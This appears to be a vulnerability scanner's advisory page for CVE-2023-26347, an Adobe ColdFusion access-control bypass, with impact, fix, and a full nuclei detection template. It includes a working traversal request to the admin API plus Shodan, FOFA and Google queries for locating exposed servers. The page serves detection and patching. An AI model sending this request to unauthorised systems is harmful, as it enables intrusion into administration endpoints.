Adobe Coldfusion - Authentication Bypass

highseverity

7.5CVSS score

10.1%likelihood of exploitation, next 30 days

96%of all CVEs are less likely

Readycheck to confirm it

Adobe ColdFusion versions 2023.5 (and earlier) and 2021.11 (and earlier) are affected by an Improper Access Control vulnerability that could result in a Security feature bypass. An unauthenticated attacker could leverage this vulnerability to access the administration CFM and CFC endpoints. Exploitation of this issue does not require user interaction.

Impact

Unauthenticated attackers can bypass access controls to access Adobe ColdFusion administration endpoints, potentially allowing full control over the ColdFusion server and access to sensitive application data.

Fix

Upgrade to Adobe ColdFusion 2023.6 or 2021.12 or later versions that address this access control vulnerability.

How to confirm it

Send: GET /hax/..CFIDE/adminapi/administrator.cfc?method=getBuildNumber&_cfclient=true
Positive when: contains "wddxPacket version=" and "<string>" AND status 200

Run it with nuclei: nuclei -id CVE-2023-26347 -u <target>

The full check

id: CVE-2023-26347

info:
  name: Adobe Coldfusion - Authentication Bypass
  author: salts
  severity: high
  description: |
    Adobe ColdFusion versions 2023.5 (and earlier) and 2021.11 (and earlier) are affected by an Improper Access Control vulnerability that could result in a Security feature bypass. An unauthenticated attacker could leverage this vulnerability to access the administration CFM and CFC endpoints. Exploitation of this issue does not require user interaction.
  impact: |
    Unauthenticated attackers can bypass access controls to access Adobe ColdFusion administration endpoints, potentially allowing full control over the ColdFusion server and access to sensitive application data.
  remediation: |
    Upgrade to Adobe ColdFusion 2023.6 or 2021.12 or later versions that address this access control vulnerability.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2023-26347
    - https://helpx.adobe.com/security/products/coldfusion/apsb23-52.html
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2023-26347
    cwe-id: CWE-284
    epss-score: 0.10072
    epss-percentile: 0.95668
    cpe: cpe:2.3:a:adobe:coldfusion:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: adobe
    product: coldfusion
    shodan-query:
      - http.component:"Adobe ColdFusion"
      - http.component:"adobe coldfusion"
      - http.title:"coldfusion administrator login"
      - cpe:"cpe:2.3:a:adobe:coldfusion"
    fofa-query:
      - app="Adobe-ColdFusion"
      - app="adobe-coldfusion"
      - title="coldfusion administrator login"
    google-query: intitle:"coldfusion administrator login"
  tags: cve2023,cve,adobe,coldfusion,auth-bypass,vkev,vuln

http:
  - raw:
      - |
        GET /hax/..CFIDE/adminapi/administrator.cfc?method=getBuildNumber&_cfclient=true HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'wddxPacket version='
          - '<string>'
        condition: and

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from